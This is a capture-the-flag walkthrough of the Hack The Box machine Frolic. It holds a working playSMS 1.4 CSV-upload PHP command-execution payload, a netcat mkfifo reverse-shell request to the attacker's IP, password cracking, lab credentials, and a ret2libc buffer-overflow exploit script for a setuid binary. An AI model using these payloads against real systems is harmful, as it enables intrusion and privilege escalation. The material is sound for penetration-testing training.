_cxathreadatexitimpl@@GLIBC2.18&#xA;   558: 000b07c8    24 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC2.0&#xA;   616: 00115fa0    56 FUNC    GLOBAL DEFAULT   13 svcexit@@GLIBC2.0&#xA;   652: 0002eda0    31 FUNC    GLOBAL DEFAULT   13 quickexit@@GLIBC2.10&#xA;   876: 0002ebf0    85 FUNC    GLOBAL DEFAULT   13 cxaatexit@@GLIBC2.1.3&#xA;  1046: 0011fb80    52 FUNC    GLOBAL DEFAULT   13 atexit@GLIBC2.0&#xA;  1394: 001b2204     4 OBJECT  GLOBAL DEFAULT   33 argperrexitstatus@@GLIBC2.1&#xA;  1506: 000f3870    58 FUNC    GLOBAL DEFAULT   13 pthreadexit@@GLIBC2.0&#xA;  2108: 001b2154     4 OBJECT  GLOBAL DEFAULT   33 obstackexitfailure@@GLIBC2.0&#xA;  2263: 0002e9f0    78 FUNC    WEAK   DEFAULT   13 onexit@@GLIBC2.0&#xA;  2406: 000f4c80     2 FUNC    GLOBAL DEFAULT   13 cygprofilefuncexit@@GLIBC2.2&#xA;$ strings -tx /lib/i386-linux-gnu/libc.so.6 | grep &#34;/bin/sh&#34;&#xA; 15ba0b /bin/sh&#xA;&#xA;All of the offsets need to be added to the address for the libc.so.6 library in order to obtain the necessary values&#xA;&#xA;[0x42424242]  ?v 0xb7e19000 + 0x0003ada0&#xA;0xb7e53da0&#xA;[0x42424242]  ?v 0xb7e19000 + 0x0002e9d0&#xA;0xb7e479d0&#xA;[0x42424242]  ?v 0xb7e19000 + 0x15ba0b&#xA;0xb7f74a0b&#xA;&#xA;These values can now be used in a python script to generate the payload that can be used to exploit the binary and achieve privilege escalation&#xA;&#xA;from struct import pack&#xA;from base64 import b64encode&#xA;&#xA;padding = b&#39;A&#39;  52&#xA;systemaddress = pack(&#39;&lt;I&#39;, 0xb7e53da0)&#xA;exitaddress = pack(&#39;&lt;I&#39;, 0xb7e479d0)&#xA;binshaddress = pack(&#39;&lt;I&#39;, 0xb7f74a0b)&#xA;&#xA;payload = padding + systemaddress + exitaddress + binsh_address&#xA;&#xA;print(b64encode(payload).decode())&#xA;&#xA;The output string is encoded in Base64, which makes it easier to copy it over to the target host to exploit the binary&#xA;&#xA;$ ./rop $(echo QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQaA95bfQeeS3C0r3tw== | base64 -d)&#xA;&#xA;The command above manages to successfully exploit the BoF vulnerability in the binary and privilege escalation is achieved via this method.]]&gt;</description>
      <content:encoded><![CDATA[<p>This is another <a href="https://app.hackthebox.eu">Hack The Box</a> machine that has a web application that has a vulnerability that allows for <em>remote code execution</em> (RCE). There&#39;s also a privilege escalation that is achived through a stack buffer overflow and using <em>return oriented programming</em> (ROP) technique.</p>

<p>For the reverse engineering part of the machine, Radare2 is used to analyze the binary and locate all of the necessary aspects.</p>



<h2 id="credentials" id="credentials">Credentials</h2>

<p>These are credentials found in different parts of the host</p>
<ul><li><code>admin</code> : <code>imnothuman</code></li>
<li><code>admin</code> : <code>superduperlooperpassword_lol</code></li>
<li><code>admin</code> : <code>idkwhatispass</code></li></ul>

<h2 id="port-scan" id="port-scan">Port Scan</h2>

<p>There are 5 open ports that were found:</p>
<ul><li>22/tcp    OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)</li>
<li>139/tcp   Samba smbd 3.X – 4.X (workgroup: WORKGROUP)</li>
<li>445/tcp   Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)</li>
<li>1880/tcp  Node.js (Express middleware)</li>
<li>9999/tcp  nginx 1.10.3 (Ubuntu)</li></ul>

<p>The Samba service is not exposing any shares that can provide more information.
Further checking the website found on port 9999/tcp.</p>

<h1 id="website" id="website">Website</h1>

<p>Accessing the on port 9999/tcp shows the default nginx installation page and points to the domain <code>frolic.htb</code> and pointing to the port 1880/tcp, however, that port only shows a <code>Node-RED</code> login and no credentials.</p>

<p>Running a ffuf scan with the command <code>ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://frolic.htb:9999/FUZZ -o scans/ffuf.9999.json -c -ic -v -r -replay-proxy http://127.0.0.1:8080</code> shows the following relevant results</p>
<ul><li><code>http://frolic.htb:9999/admin</code></li>
<li><code>http://frolic.htb:9999/backup</code></li>
<li><code>http://frolic.htb:9999/dev</code></li>
<li><code>http://frolic.htb:9999/test</code></li>
<li><code>http://frolic.htb:9999/loop</code></li></ul>

<p>Upon further investigation on those URLs, the only relevant ones are</p>
<ul><li><code>http://frolic.htb:9999/admin</code></li>
<li><code>http://frolic.htb:9999/backup</code></li></ul>

<p>The <em>backup</em> directory points to two plain text files that contain credentials.</p>

<p>The <em>admin</em> page shows a login form and the JavaScript found at the URL <code>http://frolic.htb:9999/admin/js/login.js</code> contains the credentials in clear text</p>

<pre><code class="language-javascript">var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate(){
var username = document.getElementById(&#34;username&#34;).value;
var password = document.getElementById(&#34;password&#34;).value;
if ( username == &#34;admin&#34; &amp;&amp; password == &#34;superduperlooperpassword_lol&#34;){
alert (&#34;Login successfully&#34;);
window.location = &#34;success.html&#34;; // Redirecting to other page.
return false;
}
else{
attempt --;// Decrementing by one.
alert(&#34;You have left &#34;+attempt+&#34; attempt;&#34;);
// Disabling fields after 3 attempts.
if( attempt == 0){
document.getElementById(&#34;username&#34;).disabled = true;
document.getElementById(&#34;password&#34;).disabled = true;
document.getElementById(&#34;submit&#34;).disabled = true;
return false;
}
}
}
</code></pre>

<p>It also points to the page <code>http://frolic.htb:9999/admin/success.html</code> that contains the following <em>Ook</em> code, which is a rewrite of <em>brainfuck</em>.</p>

<pre><code class="language-text">..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....
..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... .....
....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! .....
..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!!
!!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... .....
..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?.
?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... .....
..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... .....
..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!!
!.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!!
!!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?!
.?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?..
!.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?.
?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.?
!!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!!
!.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!!
!.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. .....
..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!!
!!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!!
!!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .....
..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! .....
..!.! !!!!! !.?.
</code></pre>

<p>After decoding the message <code>Nothing here check /asdiSIAJJ0QWE9JAS</code> is obtained, the last part is another page within the website.</p>

<p>The page that is found in the URL <code>http://frolic.htb:9999/asdiSIAJJ0QWE9JAS/</code> contains a Base64 encoded string</p>

<pre><code class="language-text">UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB
BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs
K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve
EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj
lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC
AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG
AAAAAAEAAQBPAAAAAwEAAAAA
</code></pre>

<p>The encoded string is downloaded and decoded with the command <code>curl http://frolic.htb:9999/asdiSIAJJ0QWE9JAS/ | base64 -d | xxd</code> and shows that it&#39;s a binary file</p>

<pre><code class="language-hexdump">504b0304140009000800c389374d23fe5b14b00000006902000009001c00
696e6465782e7068705554090003857ca75b857ca75b75780b0001040000
000004000000005e44e6104a9f73b2688a299a1b9550f06e0ba9bf5373e4
024a771a11dc8ee5a034e2f6d98f6bee7ad0128a55c896ec2b58ba7fe050
c8e112e1b687a4ead0bbe2785f13c04e895bfd8d8453aaea38f283f2e20f
914a3253c72a830344d08d7d933864540e51026bde10cad7e3e4fb6a5f9f
8bf918e994c027787f6390c216dd8f74beb2373551ac0b9a8a030e95106b
032c34b5d96229be3446b5e90609ffba84e396eae9efc72671326f8857d4
9ce339504b070823fe5b14b000000069020000504b01021e031400090008
00c389374d23fe5b14b000000069020000090018000000000001000000a4
8100000000696e6465782e7068705554050003857ca75b75780b00010400
0000000400000000504b050600000000010001004f000000030100000000
</code></pre>

<p>The file is then downloaded and stored in a zip file with the command <code>curl http://frolic.htb:9999/asdiSIAJJ0QWE9JAS/ | base64 -d &gt; evidence/data/asdiSIAJJ0QWE9JAS.zip</code>.
The archive is password protected, though it appears to contain a single <code>index.php</code> file.
Attempting to crack the password by using <em>John</em> with the following steps</p>
<ul><li>Create a usable hash for cracking with <em>John</em> by using the command <code>zip2john evidence/data/asdiSIAJJ0QWE9JAS.zip | tee evidence/data/asdiSIAJJ0QWE9JAS.zip.hash</code></li>
<li>Start the <em>John</em> container with the command <code>podman run -v ./evidence/data:/opt/cracking -it --rm --entrypoint bash docker.io/obscuritylabs/johntheripper</code></li>
<li>Crack the hash by using the command <code>./john --format=PKZIP --wordlist /opt/cracking/rockyou.txt /opt/cracking/asdiSIAJJ0QWE9JAS.zip.hash</code></li></ul>

<pre><code class="language-shellsession">root@fb3af4a2ae0c:/opt/john/run# ./john --format=PKZIP --wordlist /opt/cracking/rockyou.txt /opt/cracking/asdiSIAJJ0QWE9JAS.zip.hash 
Warning: invalid UTF-8 seen reading /opt/cracking/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status
password         (asdiSIAJJ0QWE9JAS.zip/index.php)
1g 0:00:00:00 DONE (2021-06-05 16:19) 100.0g/s 354600p/s 354600c/s 354600C/s 123456..sss
Use the &#34;--show&#34; option to display all of the cracked passwords reliably
Session completed
</code></pre>

<p>The password <code>password</code> is used to extract the file from the zip archive</p>

<pre><code class="language-shellsession">❯ 7z x asdiSIAJJ0QWE9JAS.zip

7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs x64)

Scanning the drive for archives:
1 file, 360 bytes (1 KiB)

Extracting archive: asdiSIAJJ0QWE9JAS.zip
--
Path = asdiSIAJJ0QWE9JAS.zip
Type = zip
Physical Size = 360

    
Enter password (will not be echoed):
Everything is Ok

Size:       617
Compressed: 360
</code></pre>

<p>The contents of the <code>index.php</code> file is a hex string</p>

<pre><code class="language-hexdump">4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
</code></pre>

<p>Decoding the hex string is done with the command <code>xxd -r -p index.php</code> and reveals a Base64 encoded string</p>

<pre><code class="language-text">KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==
</code></pre>

<p>By using the command <code>cat index.php | xxd -r -p | tr -d &#39;\r\n&#39; | base64 -d</code> the decoded data is obtained</p>

<pre><code class="language-text">+++++ +++++ [-&gt;++ +++++ +++&lt;] &gt;++++ +.--- --.++ +++++ .&lt;+++ [-&gt;++ +&lt;]&gt;+
++.&lt;+ ++[-&gt; ---&lt;] &gt;---- --.-- ----- .&lt;+++ +[-&gt;+ +++&lt;] &gt;+++. &lt;+++[ -&gt;---
&lt;]&gt;-- .&lt;+++ [-&gt;++ +&lt;]&gt;+ .---. &lt;+++[ -&gt;--- &lt;]&gt;-- ----. &lt;++++ [-&gt;++ ++&lt;]&gt;
++..&lt; 
</code></pre>

<p>By decoding the <em>brainfuck</em> code, the string <code>idkwhatispass</code> is obtained.</p>

<p>Further scanning is done with the ffuf command that scans recursively to locate any other directories/pages that weren&#39;t found on the first scan</p>

<pre><code class="language-shell">ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -recursion -recursion-depth 1 -u http://frolic.htb:9999/FUZZ -c -ic -v -replay-proxy http://127.0.0.1:8080 -o scans/ffuf.recursive.9999.json
</code></pre>

<p>One relevant result is found in the URL <code>http://frolic.htb:9999/dev/backup/</code> where the page only has the string <code>/playsms</code> and accessing the URL <code>http://frolic.htb:9999/playsms</code> shows the <em>playSMS</em> page.</p>

<h3 id="playsms-service" id="playsms-service">playSMS Service</h3>

<p>By using the credentials that were found, access was gained to the playSMS service with an <em>admin</em> account.</p>

<p>Unable to successfully determine the version of playSMS that is being used, it is assumed that one of the file upload vulnerabilities for version 1.4 may work</p>

<pre><code class="language-shellsession">---------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                          |  Path
---------------------------------------------------------------------------------------- ---------------------------------
PlaySMS - &#39;import.php&#39; (Authenticated) CSV File Upload Code Execution (Metasploit)      | php/remote/44598.rb
PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metasploit)      | php/remote/48335.rb
PlaySms 0.7 - SQL Injection                                                             | linux/remote/404.pl
PlaySms 0.8 - &#39;index.php&#39; Cross-Site Scripting                                          | php/webapps/26871.txt
PlaySms 0.9.3 - Multiple Local/Remote File Inclusions                                   | php/webapps/7687.txt
PlaySms 0.9.5.2 - Remote File Inclusion                                                 | php/webapps/17792.txt
PlaySms 0.9.9.2 - Cross-Site Request Forgery                                            | php/webapps/30177.txt
PlaySMS 1.4 - &#39;/sendfromfile.php&#39; Remote Code Execution / Unrestricted File Upload      | php/webapps/42003.txt
PlaySMS 1.4 - &#39;import.php&#39; Remote Code Execution                                        | php/webapps/42044.txt
PlaySMS 1.4 - &#39;sendfromfile.php?Filename&#39; (Authenticated) &#39;Code Execution (Metasploit)  | php/remote/44599.rb
PlaySMS 1.4 - Remote Code Execution                                                     | php/webapps/42038.txt
PlaySMS 1.4.3 - Template Injection / Remote Code Execution                              | php/webapps/48199.txt
---------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
</code></pre>

<p>Attempting to use the exploit 42003, which points to a CSV file upload that is unverified and allows for RCE.
However, this was unsuccessful, it appears that the application does check for a valid filename and doesn&#39;t execute any PHP code on the filename.</p>

<p>Attempting to use the exploit 42044, this also uses a CSV file that is uploaded to the Phonebook, which is accessible via <code>My Account -&gt; Phonebook</code>.
The exploit relies on the header value of the <em>User-Agent</em> in the request being changed and then it is executed by the page, there is no file written to disk.
The contents of the CSV file is shown below</p>

<pre><code class="language-text">Name,Mobile,Email,Group code,Tags
&lt;?php $t=$_SERVER[&#39;HTTP_USER_AGENT&#39;]; system($t); ?&gt;,2,,,
</code></pre>

<p>The request header in the upload process is then changed to</p>

<pre><code class="language-http">POST http://frolic.htb:9999/playsms/index.php?app=main&amp;inc=feature_phonebook&amp;route=import&amp;op=import HTTP/1.1
Host: frolic.htb:9999
User-Agent: id; hostname
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data; boundary=---------------------------72950579317560938561223174980
Content-Length: 457
Origin: http://frolic.htb:9999
DNT: 1
Connection: keep-alive
Referer: http://frolic.htb:9999/playsms/index.php?app=main&amp;inc=feature_phonebook&amp;route=import&amp;op=list
Cookie: PHPSESSID=6rl9keisf6lf85dib15uvtgve1
Upgrade-Insecure-Requests: 1
</code></pre>

<p>The result is the page that confirms the upload shows the output of the command.</p>

<p>In order to establish a reverse shell, the following request is sent in this process</p>

<pre><code class="language-http">POST http://frolic.htb:9999/playsms/index.php?app=main&amp;inc=feature_phonebook&amp;route=import&amp;op=import HTTP/1.1
Host: frolic.htb:9999
User-Agent: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.14.62 4444 &gt;/tmp/f
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data; boundary=---------------------------93784517437469769342519032468
Content-Length: 457
Origin: http://frolic.htb:9999
DNT: 1
Connection: keep-alive
Referer: http://frolic.htb:9999/playsms/index.php?app=main&amp;inc=feature_phonebook&amp;route=import&amp;op=list
Cookie: PHPSESSID=6rl9keisf6lf85dib15uvtgve1
Upgrade-Insecure-Requests: 1

-----------------------------93784517437469769342519032468
Content-Disposition: form-data; name=&#34;X-CSRF-Token&#34;

56cecb3aafb890acde113ea8ba5ef2ab
-----------------------------93784517437469769342519032468
Content-Disposition: form-data; name=&#34;fnpb&#34;; filename=&#34;test.csv&#34;
Content-Type: text/csv

Name,Mobile,Email,Group code,Tags
&lt;?php $t=$_SERVER[&#39;HTTP_USER_AGENT&#39;]; system($t); ?&gt;,2,,,

-----------------------------93784517437469769342519032468--
</code></pre>

<p>This manages to successfully establish the reverse shell as the <code>www-data</code> user</p>

<pre><code class="language-shellsession">❯ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.163.216 52410
/bin/sh: 0: can&#39;t access tty; job control turned off
$ id; hostname; pwd
uid=33(www-data) gid=33(www-data) groups=33(www-data)
frolic
/var/www/html/playsms
$ 
</code></pre>

<p>The <code>config.php</code> file contains the credentials for the MySQL database</p>

<pre><code class="language-php:config.php">&lt;?php                                                                                                                                   
// PHP PEAR DB compatible database engine:                                                                                              
// mysql, mysqli, pgsql, odbc and others supported by PHP PEAR DB                                                                       
$core_config[&#39;db&#39;][&#39;type&#39;] = &#39;mysqli&#39;;          // database engine
$core_config[&#39;db&#39;][&#39;host&#39;] = &#39;localhost&#39;;       // database host/server
$core_config[&#39;db&#39;][&#39;port&#39;] = &#39;3306&#39;;    // database port            
$core_config[&#39;db&#39;][&#39;user&#39;] = &#39;root&#39;;    // database username        
$core_config[&#39;db&#39;][&#39;pass&#39;] = &#39;ayush&#39;;   // database password                                                                            
$core_config[&#39;db&#39;][&#39;name&#39;] = &#39;playsms&#39;; // database name            
</code></pre>

<h1 id="shell-access" id="shell-access">Shell Access</h1>

<h2 id="www-data" id="www-data">www-data</h2>

<p>The reverse shell is obtained with the user <code>www-data</code> and the user flag is readable by this service account</p>

<pre><code class="language-shellsession">$ ls -la /home/ayush
total 36
drwxr-xr-x 3 ayush ayush 4096 Sep 25  2018 .
drwxr-xr-x 4 root  root  4096 Sep 23  2018 ..
-rw------- 1 ayush ayush 2781 Sep 25  2018 .bash_history
-rw-r--r-- 1 ayush ayush  220 Sep 23  2018 .bash_logout
-rw-r--r-- 1 ayush ayush 3771 Sep 23  2018 .bashrc
drwxrwxr-x 2 ayush ayush 4096 Sep 25  2018 .binary
-rw-r--r-- 1 ayush ayush  655 Sep 23  2018 .profile
-rw------- 1 ayush ayush  965 Sep 25  2018 .viminfo
-rwxr-xr-x 1 ayush ayush   33 Sep 25  2018 user.txt
$ cat /home/ayush/user.txt
2ab95909cf509f85a6f476b59a0c2fe0
</code></pre>

<p>One directory that appears to be out of the default or ordinary directory structure for the user&#39;s home is <code>.binary</code></p>

<pre><code class="language-shellsession">$ ls -Al /home/ayush/.binary
total 8
-rwsr-xr-x 1 root root 7480 Sep 25  2018 rop
$ file /home/ayush/.binary/rop
/home/ayush/.binary/rop: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=59da91c100d138c662b77627b65efbbc9f797394, not stripped
</code></pre>

<h2 id="privilege-escalation" id="privilege-escalation">Privilege Escalation</h2>

<p>The binary <code>rop</code> (MD5 <code>001d6cf82093a0d716587169e019de7d</code>) is downloaded from the remote system for further analysis.</p>

<p>When executing the program, it shows the following message</p>

<pre><code class="language-shellsession">$ /home/ayush/.binary/rop
[*] Usage: program &lt;message&gt;
</code></pre>

<p>When adding any string, as mentioned in the <em>usage</em> message, it simply prints it to the screen.</p>

<p>The Radare2 container has the 32-bit libraries necessary to run the binary, this can be done by executing the following command</p>

<pre><code class="language-shell">podman run -v ./:/mnt -it --rm --cap-drop=ALL --cap-add=SYS_PTRACE --entrypoint bash docker.io/radare/radare2
</code></pre>

<p>Loading the binary in Radare2 for assembly analysis, it shows that there are two relevant functions within the binary, the <code>main</code> and <code>sym.vuln</code>.
The <code>main</code> function checks if the parameter count is greater than 1 and then calls the <code>sym.vuln</code> function, otherwise it prints the usage message and exits the application.</p>

<pre><code class="language-shellsession">     0x080484b6      83c410         add esp, 0x10
     0x080484b9      833b01         cmp dword [ebx], 1           ; Check if parameter count is equal to 1
.--&lt; 0x080484bc      7f17           jg 0x80484d5                 ; jump if parameter count is greater than 1
|    0x080484be      83ec0c         sub esp, 0xc
|    0x080484c1      68c0850408     push str.___Usage:_program__message_ ; 0x80485c0 ; &#34;[*] Usage: program &lt;message&gt;&#34; ; const char *s
|    0x080484c6      e895feffff     call sym.imp.puts           ; int puts(const char *s)
|    0x080484cb      83c410         add esp, 0x10
|    0x080484ce      b8ffffffff     mov eax, 0xffffffff         ; -1
|    0x080484d3      eb19           jmp 0x80484ee               ; jumps to exit
|    ; CODE XREF from main @ 0x80484bc
&#39;--&gt; 0x080484d5      8b4304         mov eax, dword [ebx + 4]
     0x080484d8      83c004         add eax, 4
     0x080484db      8b00           mov eax, dword [eax]
     0x080484dd      83ec0c         sub esp, 0xc
     0x080484e0      50             push eax                    ; int32_t arg_8h
     0x080484e1      e812000000     call sym.vuln               ; Call to function that prints the entered value to the screen
</code></pre>

<p>The <code>sym.vuln</code> function uses the function <code>strcpy</code> without any validation of data being passed in the arguments and this is where the BoF takes place</p>

<pre><code class="language-shellsession">┌ 58: sym.vuln (char *src);
│           ; var char *format @ ebp-0x30
│           ; arg char *src @ ebp+0x8
│           0x080484f8      55             push ebp
│           0x080484f9      89e5           mov ebp, esp
│           0x080484fb      83ec38         sub esp, 0x38
│           0x080484fe      83ec08         sub esp, 8
│           0x08048501      ff7508         push dword [src]            ; const char *src
│           0x08048504      8d45d0         lea eax, [format]
│           0x08048507      50             push eax                    ; char *dest
│           0x08048508      e843feffff     call sym.imp.strcpy         ; char *strcpy(char *dest, const char *src)
│           0x0804850d      83c410         add esp, 0x10
│           0x08048510      83ec0c         sub esp, 0xc
│           0x08048513      68dd850408     push str.___Message_sent:_  ; 0x80485dd ; &#34;[+] Message sent: &#34; ; const char *format
│           0x08048518      e823feffff     call sym.imp.printf         ; int printf(const char *format)
│           0x0804851d      83c410         add esp, 0x10
│           0x08048520      83ec0c         sub esp, 0xc
│           0x08048523      8d45d0         lea eax, [format]
│           0x08048526      50             push eax                    ; const char *format
│           0x08048527      e814feffff     call sym.imp.printf         ; int printf(const char *format)
│           0x0804852c      83c410         add esp, 0x10
│           0x0804852f      90             nop
│           0x08048530      c9             leave
└           0x08048531      c3             ret
</code></pre>

<p>The instruction at the address <code>0x080484fb</code> shows that there is memory being allocated, this by subtracting <code>0x38</code> from the value of the <code>esp</code> register, this shows that there are 56 bytes being allocated.
By creating a De Bruijn string with the command <code>ragg2 -rP 56</code>, it is possible to obtain the specific amount of bytes needed for the buffer overflow, the string that is generated is <code>AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASA</code> and below is how the binary is executed within Radare2</p>

<pre><code class="language-shellsession">[0xf7f79549]&gt; doo AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASA
Process with PID 7 started...                        
= attach 7 7                        
File dbg:///mnt/rop  AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASA reopened in read-write mode
7                     
[0xf7f0a0b0]&gt; dc                             
[+] SIGNAL 11 errno=0 addr=0x41534141 code=1 si_pid=1095975233 ret=0 
</code></pre>

<p>Now check the registers with the command <code>dr=</code></p>

<pre><code class="language-shellsession">[0x41534141]&gt; dr=
    eax 0x00000038      ebx 0xffba42b0      ecx 0x00000000      edx 0xf7ef9890
    esi 0xf7ef8000      edi 0xf7ef8000      esp 0xffba4280      ebp 0x52414151
    eip 0x41534141   eflags 0x00010282     oeax 0xffffffff  
</code></pre>

<p>The <code>eip</code> register is the one that is relevant in this case, this value is what specifies the amount of padding needed to generate the BoF and where to start with the payload, the output below shows the amount of bytes that are needed</p>

<pre><code class="language-shellsession">[0x41534141]&gt; wopO `dr eip`
52
</code></pre>

<p>This can be confirmed by generating a new string that has 52 <code>A</code> and 4 <code>B</code> characters, this can be done by running the command <code>python -c &#34;print(&#39;A&#39;*52 + &#39;BBBB&#39;)&#34;</code>, when using this string on the application the <code>eip</code> register should have the value <code>0x42424242</code></p>

<pre><code class="language-shellsession">[0x41534141]&gt; doo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Process with PID 8 started...
= attach 8 8
File dbg:///mnt/rop  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB reopened in read-write mode
8
[0xf7ef70b0]&gt; dc
[+] SIGNAL 11 errno=0 addr=0x42424242 code=1 si_pid=1111638594 ret=0
[0x42424242]&gt; drr
role reg    value    refstr
―――――――――――――――――――――――――――
A0   eax    38       56 .shstrtab eax ascii (&#39;8&#39;)
A1   ebx    ffee7680 [stack] ebx stack R W 0x2
A2   ecx    0        0
A3   edx    f7ee6890 edx
     esi    f7ee5000 esi,edi
     edi    f7ee5000 esi,edi
SP   esp    ffee7650 [stack] esp stack R W 0xffee7800
BP   ebp    41414141 ebp ascii (&#39;A&#39;)
PC   eip    42424242 eip ascii (&#39;B&#39;)
     xfs    0        0
     xgs    63       99 .shstrtab ascii (&#39;c&#39;)
     xcs    23       35 .comment ascii (&#39;#&#39;)
     xss    2b       43 .comment ascii (&#39;+&#39;)
     eflags 10282    eflags
SN   oeax   ffffffff -1 oeax
</code></pre>

<p>Checking the binary details with the <code>i</code> command, it shows that the <code>nx</code> is enabled, for this reason it is necessary to create a ROP chain to spawn a shell that gives access to the root account.
Due to this flag that is enabled, it is necessary to search for a couple of objects in the <code>libc.so.6</code> library that is running on the target host, the following steps are followed</p>
<ul><li>Obtain the memory address of the <code>libc.so.6</code> library with the command <code>ldd rop</code>, for this instance the address is <code>0xb7e19000</code> and the path of the library is <code>/lib/i386-linux-gnu/libc.so.6</code></li>
<li>Obtain the offset address of the <code>system</code> function with the command <code>readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &#34;system&#34;</code>, for this instance the offset is <code>0x0003ada0</code></li>
<li>Obtain the offset address of the <code>exit</code> function with the command <code>readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &#34;exit&#34;</code>, for this instance the offset is <code>0x0002e9d0</code></li>
<li>Obtain the offset address of the <code>/bin/sh</code> string with the command <code>strings -tx /lib/i386-linux-gnu/libc.so.6 | grep &#34;/bin/sh&#34;</code>, for this instance the offset is <code>0x15ba0b</code></li></ul>

<p>Below is the output of all the commands mentioned in the steps above</p>

<pre><code class="language-shellsession">$ ldd rop
        linux-gate.so.1 =&gt;  (0xb7fda000)
        libc.so.6 =&gt; /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
